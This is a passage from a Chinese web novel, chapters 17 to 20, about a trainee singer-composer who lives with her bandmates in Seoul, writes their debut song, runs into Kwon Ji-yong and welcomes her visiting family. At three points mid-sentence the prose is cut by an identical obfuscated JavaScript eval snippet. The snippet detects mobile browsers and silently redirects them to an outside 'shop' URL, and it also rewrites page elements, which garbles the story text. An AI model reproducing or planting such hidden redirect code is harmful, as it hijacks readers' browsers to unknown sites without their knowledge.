尹杉月四人有和文槿一样住宿舍的,也有住家里的,公司发出通知后大家选个周末前后脚搬进来。 因为没分房间,东西暂时都堆在客厅,像座乱糟糟的小山。文槿坐在沙发上休息,深吸一口气,压住蠢蠢欲动的手。 李音华见了,在她身边坐下小声问:“洁癖?” “没到那个程度,但我有点强迫症,见不得身边的环境杂乱无章。” 这位姐姐一脸同情地看她一眼,拍拍肩膀安慰道:“很辛苦吧,一会儿跟大家说说,女孩子还是比较讲究的。” 文槿也这样安慰自己,但是很多时候家里看起来乱不是因为不讲究,而是地方太小东西太多,不管怎么整理看起来就是乱。 遇上这种情况,大家就是再有心照顾她也无能为力。 “来来来,大家把手头的事放一放,先把房间分了才好归置东西做卫生。” 尹杉月拍拍手,把大家聚在一起。 “三个房间有一间偏小,咱们两两合住,剩下一个人单独住小房间,没问题吧?” 有问题也没用,条件在这儿只能这么分。 大家纷纷点头,继续听尹杉月说话。 “你们想自由组合呢,还是抓阄决定?” 在场五人,唯一比较相熟的是尹杉月和李音华。剩下三人,无论是文槿还是刚来公司的李书慧和赵美娴,彼此相识多的一个多月,少的只有几天,能自由组合就怪了。 文槿默默举手,表示有话要讲。 新来的两个姐姐是87年的,文槿是名副其实的老小,大家对她都比较包容。尹杉月下巴一抬,示意文槿开口。 “我申请单独住一间。” 所有人的目光霎时集中过来,文槿不闪不避,慢条斯理给出理由。 “其一,我听觉敏锐,有一丁点声响就会神经衰弱睡不好。其二,我需要一个相对安静的环境进行创作,也避免工作太晚打扰室友休息。” 理由充分,尹杉月表示可以考虑。 “其他人有不同意见吗?若是没有,我就安排阿槿一个人住小房间了。” 心里有没有不知道,反正嘴上都同意了。 文槿不在乎其他人有没有在心里蛐蛐她,也不怕大家觉得她不好相处,权利是自己争取来的,不说就等于默认。与其事后失悔,不如主动出击,反正失败也不过是维持原样。 李书慧的注意点和大家不同,饶有兴致的问文槿:“听觉敏锐是有多敏锐?特别微小的声音也能听到吗?” 对于这个话题,尹杉月和李音华最有发言权。 “上次我和杉月在练习室排练,阿槿从外面进来,开口就说杉月刚刚有个音弹错了。门窗关的严严实实,演奏的声音小到多走几步我都听不到,这丫头竟然在门外听到了,你们说惊不惊人?” 听完李音华的解释,李书慧大惊,“这种情况单独住也没用吧?” 文槿耸耸肩,“稍微好一点,我可以放一点白噪音覆盖住其他声音。” 赵美娴玩笑道:“看来以后不能在家里说阿槿的坏话,咱们自以为小心隐蔽,搞不好是在她耳边说呢。” 一句话逗得大家哈哈大笑。 文槿的住处定下,剩下四人决定抓阄,最后是尹杉月和赵美娴一间,李音华和李书慧一间。五个人磕磕绊绊,正式开始从陌生到熟悉的同居生活。 十二月底,顺利结束最后一门考试,文槿迎来她的第一个寒假。 公司定下的出道日期在06年下半年,时间紧任务重,今年的春节她大概率没办法和家人一起过。打电话回去和爸妈说明情况后,两人一边心疼孩子一边止不住地为她高兴。 听说需要监护人到公司重新签一份艺人合同,迫不及待想过来看看她。 听他们在电话那边孩子气的争执这次该谁来,文槿不由莞尔,“别吵别吵,都来好不好?我来报销机票。” “不用!”两人异口同声。 对面霎时安静下来,这次换文槿笑出声。 如果不追星,首尔其实不是一个值得反复到来的旅游地点,尤其是对华国人。文景行和柳思珍之所以心心念念想过来,是因为孩子在这儿。 这一点他们自己清楚,文槿更清楚。 其实就算他们来了,文槿也没有时间陪他们。不过见几面,吃几顿饭,照样要分别。但父母和孩子之间的羁绊,哪怕现实苍白也不能轻易动摇。 “爸爸妈妈一张机票还是买得起的,穷家富路,你的钱留着自己花吧。” “知道啦~”文槿长叹一口气,“我真的特别、特别想你们……” 深冬的首尔街头,穿着深灰呢大衣的女孩认真地捧着电话接听,间或低头漫不经心地踢开脚边的石子。说话时冒出的热气稍稍模糊她的五官,远远听到柔软带笑的声音,让心软成一滩水。 大约是太冷了,她会时不时停下来跺跺脚,不变的是脸上灿烂的笑。路灯昏黄的光从头顶洒下温柔的将她笼罩,画面朦胧美丽,如坠梦中。 权至龙静静站在不远处,目光似乎落在女孩身上,又仿佛空茫一片什么都没有。 忽而鼻尖一凉,他抬头看向天空,细小的白色精灵飞舞着降落人间。 “呀,下雪了。” 熟悉的声音传来,他扭头看去,正对上文槿的目光。 “至龙?”她看起来意外又惊喜,快走两步来到他面前,“怎么这个时间过来?找人吗?” 权至龙也不知道为什么会到这里来,他没有回答文槿的问题,视线从她身上扫过,笑道:“果然,很漂亮,很适合你。” “啊?”呆愣片刻,恍然大悟他指的是衣服,文槿笑眯了眼,特意在他面前转了一圈,“是吧,我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16046062|178353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至龙的眼光就是好,我也很喜欢呢。” 冷风携香而来,权至龙没说话,心里升起微妙的喜悦。 “对了,你还没告诉我过来做什么呢,找载范哥吗?” “……嗯。”不想继续这个话题,权至龙主动问她:“打电话怎么到外面来了,这么冷的天?” “是有点冷,”文槿搓搓手,这么一会儿十指已经冻得僵硬,“但是清净。” 自从搬进艺人宿舍,每天二十四小时身边都有人。对一个喜欢独处的人来说,滋味真不好受。 她说的平静,权至龙却听得不是滋味。 在韩国,艺人是一个几乎没有隐私的群体,尤其是偶像。为了站在舞台上,每个人都有所选择和牺牲。或许心甘情愿,但无法习以为常。 他再次换了话题:“还没恭喜你,进入A班。” “谢谢。” 或许听起来像炫耀,文槿确实没想到朴真英竟然这么看好她。 “歪鸡有新企划吗?至龙的实力,早都该出道了。” 想到社长模棱两可的话,失望过太多次的权至龙撇撇嘴,“或许吧。” “不要丧气,至龙。”文槿停下脚步,用力握住他的肩膀,“我这个人别的不好说,嘴巴最灵了。告诉你哦,今年你一定能出道,千万千万要相信我。” 她的眼睛明亮璀璨,仿佛藏着一整个宇宙的星河。专注看人的时候,满目柔情好像她的世界只容得下这一个人。 熟悉的躁动涌上心头,权至龙不自在的躲开她的视线,“你是神婆吗,尽说些神神叨叨的话。” 文槿转到他面前,非要看着他,“哎呀你别管,就说信不信我?快说~” “信信信,相信你还不成吗?” 被缠的没办法,权至龙半妥协半感动给出她想要的回答。 白他一眼,文槿双手抱胸傲娇道:“哼,以后你就知道了,我说的话不会有错。不过,再想要听到我的金口玉言,可没这么简单喽。” 权至龙扭头看她,眼中溢满笑意,莫名其妙低落的心情又莫名其妙的好起来。 韩国各个大学放寒假的时间差不多,元旦之前乐队成员全部进入休假期。和假期一同到来的不是放松,而是加倍再加倍的繁重任务。 考虑到出道前后繁忙的行程和大家的学业,出道日确定在八月上旬,具体日期暂时待定。 看过文槿入校的作品集以及最近半年的作品,朴真英暂时将共鸣乐队的出道曲和第一张专辑的创作任务交给她。 当然,他本人以及公司其他制作人也没闲着,万一文槿的作品质量不过关他们还能兜底。 “任务很重,时间也紧,但我相信你可以。” 知道社长在给自己戴高帽,文槿依然点头接下任务。 经典的成就或许少不了灵感的神来一笔,但专业作曲家从不依赖灵感。给文槿一个主题,她可以一天写十几首不重复的曲子,并且保证每一首都在中上水平。 三个月完成一张专辑,时间不是太少而是太多。甚至她可以把时间再缩短一个月,留多点时间给乐队的大家排练磨合。 为了方便文槿工作,没出道的她甚至拥有一间制作人才有的专属工作室。地方不大,重在够私密也够安静。门一关,不到吃饭的点谁都不会来打扰她。 在这样的环境下,闭关一周后,文槿精心打造的出道曲《启航》出炉,热气腾腾地摆在朴真英的面前。 等不及细听细看,朴真英直接带人去录音室。没一会儿尹杉月四人也到了,竖起耳朵坐在外间的沙发上。 文槿朝录音师比了个OK,深吸一口气,开唱。 18.第 18 章 “清晨的港湾静悄悄,有只小船要啊要启航……” 清澈空灵的纯人声响起,像教堂里的唱诗,又像古老的童谣,清空大脑杂念的同时,唤醒沉睡在记忆深处的童年往事。 两句过后,乐器姗姗来迟,奏响明朗欢快的旋律。 “妈妈,那天我说离开是真的,尽管有万分的眷恋不舍 你听,世界在向我招手呼唤,我是如此激动又忐忑……” 极富质感的女中音响起,带一点少年独有的清澈。哪怕电脑合成的旋律远不如真实的乐器动听,仅凭歌手情绪饱满的声音也能轻松带动听众的情绪。 “……启航—— 就现在、这一秒 我要—— 世界不再远眺 在我脚下。” 极富冲击力和力量感的高音让外面的人听得头皮发麻,抑制不住激动地站起来,恨不能原地蹦跶几下。 最后的收尾更是干净利落,旋律和人声戛然而止,余音却震颤不已,在室内以及众人心底回荡久久不散。 文槿取下耳机走出录音间,“怎么样?” 李音华第一个冲上来抱住她,“太棒了阿槿,你简直是个天才!” 别看她是学法的,相处久了才能发现活脱脱一个音乐疯子。碰到喜欢的歌,几天几夜不睡也要把技术练出来。 这样的人不必外人督促,只要作品足够吸引她,就是舞台上最不会出岔子的那个。 “好喜欢,好想现在就排练。” 李音华还在激动的说个不停,文槿见社长过来,拍拍她的肩膀把人推开一些。 “社长。” “哎呀,说了叫哥就行。”朴真英开心得见牙不见眼,态度和蔼不像社长而是家里的长辈。 “不错不错,抓紧时间排练起来吧,这就是你们的出道曲了。对了,其他歌抓紧写,但也不用太急,质量最重要明白吗?碰到难题,找我或者其他制作人都行。” 这话说得,不愧是老板,既要又要。 文槿无奈的笑笑,“是,我记住了,社长哥。” 朴真英让录音师把刚刚的音频拷一份给自己,然后删除干净。 录音师了然,在艺人经纪公司做事,最重要的是学会保密。比如未发布的歌曲音源,一旦泄露,后果不是丢工作那么简单。 尹杉月四人簇拥文槿回到练习室,迫不及待打印乐谱开始排练。 这是一项外人看来非常枯燥的工作,不断地重复、重复再重复,只为精益求精闭上眼睛也不会弹错。 然而再动听的歌曲重复次数多了也会觉得聒噪,因为热爱所以不以为苦,旁人眼中的苦苦坚持却是她们的乐趣所在。 文槿席地而坐,手中拿着纸笔,偶尔写一行旋律或简短的歌词。耳朵还能分心二用,给队友们纠正错误。 “吉他进……慢了,重来……” “音华姐不错,贝斯进来的时机妙极了。” “杉月姐接得很好,继续保持这个节奏。” “鼓!鼓声呢?书慧姐,刚刚走神了吧?小心我打你屁股。” 轻飘飘瞪她一眼,李书慧缩缩脖子,朝文槿露出讨好的笑,“改,马上就改。” 作为队伍里的华裔,文槿向来对她亲近。嗯,除了工作时间。 她不会大发雷霆把人骂得狗血淋头,但态度认真诚恳到极致也很恐怖啊。哪怕面容和语气温温柔柔的,依旧让人打心底怵得慌。 四个姐姐没一个敢在工作失误的时候和文槿耍花腔,因为稍微有点良心会在她的目光下内疚到想要以死谢罪(busih)。 看到李书慧的怂样,其他人想笑又不敢笑,谁也不敢保证下一个被笑话的不是自己。 窗外的天空从明亮到漆黑一片,城市的霓虹渐次亮起,照亮五个女孩为梦想奋斗的身影。 孩子们的努力朴真英看在眼里,难得大发慈悲给她们放一天假,说什么张弛有度劳逸结合。 大伙面面相觑,懒得深究社长的想法,欢呼一声,大晚上就开始打电话,呼朋引伴研究怎么度过珍贵的一天假期。 文槿哪也不想去,就想睡到自然醒,然后放纵一天给自己弄点好吃的。 实不相瞒,她是个非常喜欢睡懒觉的人,十几个小时也不嫌多。自从回来,她睡懒觉的次数屈指可数。 不是闻鸡起舞忙学业,就是朝六晚十精进业务能力,说多了都是泪。 还有最喜欢的钓鱼,自从来到首尔摸鱼竿的机会都没有。肉眼可见未来三四年没戏,至少要等毕业然后乐队站稳脚跟再看。 “啊——” 文槿把自己埋进被子堆,狠狠来一套组合拳。发泄完毕,心情果然轻松多了。 簌簌簌—— 外面又开始落雪了,姐姐们刻意压低的说话声从隔壁传来。文槿嘴角微微上扬,闭上眼睛放任自己沉入梦乡。 一觉睡到第二天十点多,醒来时宿舍果然就剩文槿一人。门上贴着张便利条,是尹杉月的字迹。说给她做了早餐,在厨房放着,醒来记得热一热再吃。 文槿从房间晃到厨房,洁白的瓷盘上放着卖相不错的煎蛋和三明治,旁边是一杯已经冷掉的牛奶。 把东西放进微波炉,设定好时间后再去卫生间洗漱。不经意对上镜子里的自己,发现自己竟然在笑。 文槿愣了一会儿,放弃克制露出灿烂的笑容。 好吧,她承认,和姐姐们一起住挺有意思的,虽然不习惯的地方也有很多。 有时候为了逗文槿,可恶的姐姐会故意把家里弄乱,等她崩溃的跳脚再过来轻声漫语地哄,然后苦兮兮的收拾屋子。 切,恶趣味,不知道乐趣在哪里。 热腾腾的早午餐下肚,身体变得暖烘烘的。穿好羽绒服戴上手套帽子,全副武装的文槿推开门走进被大雪覆盖的世界。 除非世界末日,什么都不能阻挡她奔向美食的脚步。 大路上的积雪被市政的清理车铲走,唯独路边的花坛以及人行道上有部分洁白被保留下来。文槿穿着防水的靴子,一脚深一脚浅专往雪厚的地方踩。 嘎吱—— 嘎吱嘎吱—— 走一步乐一下,像个没有心事的小孩。 有行人路过看见,诧异之余忍不住弯起嘴角。 “姐姐,看这里。” 文槿不知道是不是叫自己,下意识看向声音传来的地方。 “咔嚓——” 雪中自娱自乐的少女定格在镜头里,成为漫天飞雪中最靓丽的一道风景。 拍照的是个十岁左右的小女孩,乐呵呵跑到文槿跟前,吃力地举起手里单反要给她看照片。 文槿蹲下身,两人头挨头在雪地里交谈起来。 “你是我见过的最漂亮的姐姐。”女孩兴奋地说:“我已经很久没有拍到这么满意的照片了,刚刚看到姐姐的背影特别有拍的欲望。姐姐,你愿意做我的模特吗?” “可以是可以啦,”文槿戳戳她圆润的脸蛋,“但是姐姐有事情要做,只能待一会儿。” “没关系,给我三分钟就够了。来吧,姐姐?” 看着伸到面前的小肉手,她不由莞尔,伸手牵上去。 配合陌生的小妹妹拍完照,文槿继续朝附近的华人超市进发。 路程有点远,但她并不着急。放慢节奏,一步步往前走,遇到有意思的事就停下来。 方向正确的话,不论多远总能抵达目的地。 权至龙和朋友出来玩,远远看到有个人蹲在路边的花坛旁观察被冰封的绿植。时不时拿手戳一下,冻得一激灵。 “你瞧那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16051302|178353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人,像个傻瓜一样。”朋友也看到了,笑得直不起腰。 诚然权至龙觉得那人的行为看起来傻乎乎的,但有的人就是更能发现世界的奇妙之处,总不能因为自己看不到理解不了就嘲笑吧。 “没什么吧,或许她……” 话没说完,蹲着的人起身了。原本小小的一团,站起来才发现实在高挑。 “阿西,女孩子长那么高干什么,会找不到男朋友的,不如分我一点……” 朋友嘟嘟囔囔抱怨个不停,抬头发现权至龙已经走到三米开外。 “诶,至龙,你干什么去?” 权至龙径直朝花坛走来,停在两步开外。 “咳。”他清清嗓子,放在口袋中的手紧张地攥成拳,“阿槿。” 文槿唰地一下迅速回头,眼中的恍惚在看清眼前人后散去。 “是至龙啊,好巧。”她微微垂眸,视线越过他的肩膀落在半空,“今天不用去公司吗?” “社长给我们放了一天假。” 权至龙觉得不对劲,下意识走近一些,直到在她眼中看见自己的倒影才满意的停下。 奇怪地看他一眼,文槿有些忍俊不禁,“哈,真有意思。社长之间还有这种奇怪的默契呢?真英哥也给我们放了一天假。” “还真是巧,对了,你要去……” 被甩在后面的朋友跟上来,打断权至龙的话,“至龙,这是你的……朋友?是歪鸡的练习生吗?” 对方的视线就差没黏在文槿身上,脸上是大写的惊艳。谈不上冒犯,但确实不怎么舒服。 文槿不带情绪的看回去,身高原因带着居高临下的意味,对方愣了下,不好意思地移开目光。 权至龙皱眉,胡乱应和几声果断选择和文槿道别。 “阿槿,我先走了,有空再联系。” “嗯,拜拜。” 文槿挥挥手,目送权至龙拉着不情不愿的朋友离开,摇摇头笑了。 寒风吹过,卷落枝头冰封的树叶,掉在地上发出脆响。 “阿槿,摸摸看这是什么?今年的雪下得好大,树叶竟然被冰封住了。” “阿槿,我给你做了一个雪人。保证和你一样好看,信不信?旁边加一个我好不好,这样雪人阿槿也不会孤单了。” “阿槿阿槿,手好冷啊,快要冻掉了,帮我暖暖吧,求求了~” 傅承颐,我有点想你了。 文槿是个很会放过自己的人,满腔的惆怅忧伤在看到带泥巴的鲜藕后,瞬间消散一空。 呜哇,莲藕排骨汤,醋溜藕片,凉拌藕丁…… 伤感的眼泪从嘴角流出来,心情不知道多好。大手一挥,拎走五斤莲藕。排骨、牛肉买一点,再来点蔬菜,最后配齐用完的调料,完工! 左一包右一包,也不嫌沉拎起来就走。 托爷爷的福,文家的孩子不管对戏曲有没有兴趣基本功都是从小练起,身体倍儿棒。 文槿看着高高瘦瘦,身上肌肉着实不少。薄薄一层线条流畅,不显眼但力量可观。手上这点东西对她来说小意思,再加几十斤也不是问题。 从华人超市回宿舍,三十多分钟的路程,也就刚够她热身的程度。 屋里暖气开得足,文槿换下厚重的衣物开始处理食材。 早餐吃得晚,午餐变得可有可无。但她习惯晚饭少吃甚至不吃,午餐就非吃不可了。干脆做一盘什锦炒饭,再来个素汤。 至于晚餐,一碗莲藕排骨汤够够的,主食直接pass。 CD机开了外放,马丁·罗林斯基的声音在厨房回荡,恍惚间菜刀落在砧板上的声音都变得富有节奏。 文槿小声跟唱,偶尔停下来随音乐晃动身体,又或者快速捞起冰箱旁的笔,在便利贴上留下一串只有自己看得懂的数字。 19.第 19 章 熟悉的美味下肚,带给文槿无与伦比的好心情。晚饭后出去散步,不知怎么走到公司附近。 文槿:…… 啧,怎么就不懂享受呢? 边摇头边在心里谴责自己,脚步已经诚实地往里迈。 前台的姐姐见到她很是诧异:“不是说放假,怎么现在过来了?” 文槿摸摸鼻子,“额……灵感来了,去趟工作室。” 不算撒谎,下午做饭的时候确实有许多想法。 前台姐姐一脸歆羡的目送她进电梯,不愧是社长口中天生吃偶像这碗饭的人,自觉性一般人比不了。 在工作室消磨两个多小时,把白天的灵感整理成完整的曲谱,差不多到文槿每天入睡的时间。 非必要情况,她一般会在十点前入睡。宁愿早起也不愿意晚睡,作息之规律超过百分之九十的人。 回到宿舍姐姐们都在,一人一碗汤围坐在餐桌前。见她开门进来,你一言我一语地打招呼。 “哎呀,没想到我们阿槿手艺这么好,姐姐们真是享福了。”尹杉月说着,指指茶几上的小袋子,“给你买的墨镜,去看看喜不喜欢。” “给我的吗?”文槿下意识反问。 “嗯,不是贵重的东西,觉得适合就买了,你能喜欢就再好不过了。” “我喜欢的!” 文槿笑得眉眼弯弯,扔掉鞋子快步跑过去看礼物。一直都知道,比起礼物的价值被惦记的心意才是最贵重的。 尹杉月撑着脸颊看她,和在公司的稳重靠谱形象不一样,现在的文槿看起来分外孩子气。 “好可爱,好想抱回家。” 一般来说个高的女孩子不太能和可爱沾边,偏偏尹杉月就觉得文槿可爱极了。认真可爱,生气可爱,笑起来就更可爱了。 “抱回家?你抱得动吗?还有,拐卖人口犯法的,姐妹。”李音华习惯性吐槽,端起碗无比享受的喝一口汤,“呜哇,好喝。元气满满,感觉白天消耗的精力都补回来了。” 那边文槿已经把墨镜拆开戴上,在镜子前照来照去。李音华眼中满是笑意,手肘捅了捅亲故,“所以,为什么是墨镜啊?” “因为阿槿好像非常宝贵自己的眼睛呢。” 好几次看到文槿用护眼液以及做眼部操的尹杉月眯起眼睛,像只狡黠得意的狐狸。 “你没发现吗?她几乎不玩手机电脑,不得不用就戴蓝光眼镜。我看天气预报说还有好几天大雪,外面的积雪短时间化不了,戴墨镜出门眼睛会更舒服。” “哟——”李音华拉长了声音调侃她:“不愧是队长,真是心细如发。” “嫉妒了?来来来,亲故我也疼疼你。” 装作一副大色魔的模样朝李音华扑过去,把人吓得哇哇叫。 “啊!拿开你的手!摸哪儿呢,混蛋?” 尹杉月伸手撅嘴,模样滑稽,“亲故,不要害羞~来,么一个。” “谁害羞了?!滚啊!!!” 李书慧和赵美娴对视一眼,默契地选择埋头喝汤,不搭理姐姐们的官司。 “诶,早知道晚餐前回来了,能多喝一碗呢。” 李书慧在韩国出生随母亲入籍,但此前人生的绝大部分时光都在华国度过,对中餐的渴望不比文槿少。 好不容易喝到熟悉的味道,却因为时间太晚必须节制,对她来说太残忍了。 唯独赵美娴不太适应正宗的中餐,为了不辜负妹妹的好意,少少盛了半碗在餐桌旁陪坐。 看到李书慧的模样,她表示不太能理解,“有那么夸张吗?” 李书慧点头,“或许等我们哪天出国演出,长时间吃不到韩餐你就明白了。” 赵美娴眨眨眼:“可是我觉得西餐挺好吃的。” “……”李书慧绝倒,“算了,和没有爱国胃的人说不清楚。” 短暂地放松后,五人再次投入到繁重的排练中。每天两眼一睁就是干,从天明忙到天黑。 一月中旬,文景行和柳思珍的签证下来,两人跟院里请好假,一起到首尔看望女儿顺便签艺人合同。文槿得知想去机场接他们,被两人拒绝。 “知道你忙,爸爸去过两趟了,知道怎么照顾自己和你妈妈。” “可是……”父母不懂韩语,文槿始终放不下心。 “别担心,就这么说定了,真遇到问题会给你打电话的。” “……好吧,路上注意安全。” 哪怕眉头皱的能夹死苍蝇,到底拗不过父母遂了他们的意。殊不知父母在背后笑她人小鬼大,自己还是个孩子呢,反而替他们操心。 可在文槿看来,一辈子在省内打转鲜少外出的父母论出国经验拍马也及不上她。 人生地不熟又语言不通,不方便的地方比想象中多得多。有她在当然是能避开就避开,不必自讨苦吃。 心里存事,做事效率自然而然降低。看着面前才写到一半的曲子,文槿无奈的敲了敲眉心。 就在这时,手机欢快地叫嚷起来,她以最快的速度接通,“喂?” “槿槿,我们到了,在你公司楼下。” 妈妈的声音在电话那头响起,文槿的眉头骤然松开,笑意盈满眼眶,“好,我立刻下来。” 不等电话挂断,拉开门迫不及待往外跑,一阵风似地刮到电梯前。不曾想电梯停在上面楼层迟迟不下来,等不及的她立刻转身走向安全楼梯。 “诶?刚刚是阿槿吗?干嘛去啊,这么急?”从洗手间出来的李书慧恰好目睹一切,问旁边的职员。 “不知道。”那人耸耸肩,端着杯子离开。 眼珠滴溜溜一转,李书慧顿时有了主意。哒哒哒跑回练习室,酱酱酿酿添油加醋的把事情一说,尹杉月有点坐不住。 “音华,你和我下去看看。”又叮嘱两个妹妹,“你们先练习,等我电话行动。” “好的,队长/杉月姐。” 一路从楼上跑到公司门口,文槿连外出的厚衣服都忘了穿。一身单薄的高领毛衫和裤子,往冷风里一站,瞬间透心凉。 门口蹲守的粉丝纷纷投来惊诧的目光,有专门来见文槿的粉丝正想上前搭话,就见她朝路边一对夫妇跑过去。笑容之灿烂,映衬得冬日惨淡的阳光都明媚温暖起来。 “槿槿!” 听到身后的呼唤,文槿眼睛一亮。三步并作两步,眨眼从几米开外冲到父母面前。 “爸爸、妈妈——” 张开双手,把两人抱个满怀。 “怎么穿这么点衣服就出来?冻坏了吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16057815|178353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柳思珍心疼得不得了,立刻就要把身上的衣服脱给她,被文槿制止,“我没事,里面有暖气,进去就好了。” 文景行也担心女儿,商量好的惊喜不搞了,直接指着身后说:“槿槿,你看那是谁?” 顺着他的手指看过去,一张熟悉的俊脸映入眼帘。 文槿眼睛越睁越大,嘴角越扬越高。欢呼一声,扑进那人张开的怀抱。 “小哥——” “诶!” 文襄大声应道,一把将妹妹抱起来,原地转几个圈。 文景行和柳思珍一副习以为常的模样,笑望着两人,其他人可淡定不了。 哎哟喂,还是练习生呢,这就恋爱啦?两个人都身高腿长,还挺相配? 蹲守的粉丝好奇心起,悄悄留一只眼睛在这边看热闹。 尹杉月和李音华从楼上追到楼下,猝不及防看到如此偶像剧的一幕,不由愣在门口,上前不是离开也不是。 倒不是反对文槿恋爱,乐队也没这个要求。但是吧,是不是应该低调点呢? 这是公司大门口,旁边蹲守的就有你的粉丝啊主唱大人,完全不在意吗? 脑海瞬间飘过无数抓狂的弹幕,表面上依然要维持沉稳队长和姐姐的形象,尹杉月和李音华撑得很辛苦。 文襄放下妹妹,往某个方向偏了偏头,“槿槿,门口那两个女孩是认识你吗?一直看着我们。” “嗯?哪里?” 文槿双脚落地,身体依然躲在哥哥怀里。绝对不是撒娇哦,是真的冷,她手都冻僵了。 “啊,是乐队的姐姐们。” 看到不远处的尹杉月和李音华,文槿挥挥手打招呼,赶紧带父母和哥哥进公司。走慢一步,鼻涕就要流出来了。 路过蹲守的人群,大家的视线不由自主地随他们移动。四人个个气质颜值在线,着实引人瞩目。 自诩文槿第一个粉丝的全美娜今天也在,在文槿认出她含笑点头打招呼时,忍不住开口,“姐姐,这是你的……” 小姑娘面露难色,不知道该不该说出后面三个字。 不知道是没看出来还是不在意,文槿开心的回复她:“晚上好,美娜。这是我的爸爸妈妈和哥哥哦,他们特意从华国来看我的。” 眉眼飞扬,浑身上下洋溢着快活的气息。 呼,原来是哥哥和伯父伯母。 全美娜松了口气,超热情的和三人打招呼,哪怕他们听不懂。 她不反对姐姐恋爱,但不是现在。就算是哥哥那样超级帅气的男人,在美娜看来只会影响姐姐在事业上勇攀高峰。 男人嘛,功成名就后随便玩,年轻的时候还是抓紧时间搞事业比较好。 其他人也听到了,有人和美娜一样放下心,也有人觉得失望——热闹没看成。 话说回来,这两兄妹太会长了吧。 知晓答案后再看,发现两人生得十分神似。分开各有各的帅和美,站在一起绝对不会有人否认血缘关系的那种神似,看就知道是一家人。 尹杉月和李音华把心放回肚子,礼貌的和长辈打招呼寒暄,一路把人送到社长办公室门口。 回到练习室,看到眼中写满好奇的李书慧和赵美娴,想到刚刚差点闹出的乌龙,两人对视一眼笑出声来。 20.第 20 章 签署艺人经纪合约的过程还算顺利,只要确保音乐创作上的自由和版权独家归属权,其他方面文槿不介意给公司和队友多点甜头。 南韩的艺人和华国不同,偶像歌手上节目几乎没有出场费,红到日后GD那种程度的另说。 主要收入来源包括唱片以及音源销售、广告代言、演唱会,刨除给公司的大头剩下的还要和队友分,落到自己手里真不剩多少。 能自己创作的又不一样,每年光版权费就有不少收入,且不用和任何人分享。 拿上辈子的权至龙和文槿举例,前者一百多首注册歌曲每年获得的版权费在五百万人民币左右。 而文槿作为专业音乐制作人,哪怕后期产出骤减也比权至龙多,只华美两国登记注册的歌曲就超过两百首,每年到手版权费近千万人民币。 如今她还是新人,收入远远不能和前世比。都是迟早的事,她不着急。 所以文槿愿意割舍其他部分的利益,换社长和队友一个好心情,从而顺利争取她真正想要的东西。 五年的经纪合同,到期酱油瓶享有优先续约权,中途解约需要赔付八位数人民币的天价违约金。 版权费以外的收入二八分,公司八文槿二。另外哪怕是个人代言,收入也是队内均分。 这方面最吃亏的无疑是文槿,道理还是那个道理,她依然毫不犹豫的答应了。 朴真英看了她好几眼,脸上虚浮的笑终于有了几分真实。 既要又要还要的贪婪之辈,无论是老板还是打工人都不会喜欢。人生总有取舍,他喜欢和目标明确性格坚韧果决的人合作。 谈妥合同已是暮色四合,文槿和姐姐们打过招呼,提前离开和家人聚餐。 尹杉月满口答应,“去吧,天南地北难得见一面。明天要请假吗,要不要我帮你和宏哲哥说一声?” 崔宏哲多年夙愿得偿,在文槿成为团队核心后,成功打败其他竞争者做了Resonance乐队的经纪人。整个人意气风华,看起来年轻了不少。 文槿犹豫不决,最后道:“不了,我不一定请假,有必要我会自己联系宏哲哥。” 从练习室出来,到工作室拿上厚外套,一家四口言笑晏晏地离去。 走出公司大楼才发现天空又开始落雪,门口蹲守的人比之前少了许多,但依然有人在雪中坚守。 又看到全美娜了,文槿无奈地叹气,和家人说一声转身走进旁边的便利店。全美娜远远看到她过来,高兴得眼睛弯成月牙。 “姐姐!” 寒冷的天气无法浇灭她的热情,无论什么时候面对偶像都是活力满满的样子。 文槿把手里的热牛奶分给她和其他小孩,“天气冷,都回家吧。我今天陪家人吃饭,不会回公司了。” “知道了,姐姐。” 全美娜把牛奶罐捧在手里,暖意从手心一路蔓延到心里,完全不觉得冷。 “为什么是牛奶啊?”她嘟起嘴,不像抱怨倒像撒娇。 “小孩子喝什么咖啡,乖乖喝牛奶吧。” 韩国又没有奶茶店,不买热牛奶买什么? 文槿轻轻戳一下她的额头,“回去吧,我看着你们走。” “……哦。” 全美娜摸摸额头,在旁边人羡慕嫉妒恨的眼神中,轻一脚重一脚的走了。 啊,被姐姐摸额头了! 有她的香味,三天不洗脸了!!! 文襄一直站在旁边静静地观察文槿,看到她眼中闪烁的光芒和发自内心的喜悦,心中那点被迫分开的不耐和焦躁慢慢退去。 行吧,分别不可避免,至少他们都在追逐自己梦想做喜欢的事,也算殊途同归了。 揉揉脸,整理好表情。才不要臭丫头发现自己舍不得她呢,堂堂男子汉大丈夫,他的心肠硬着呢。 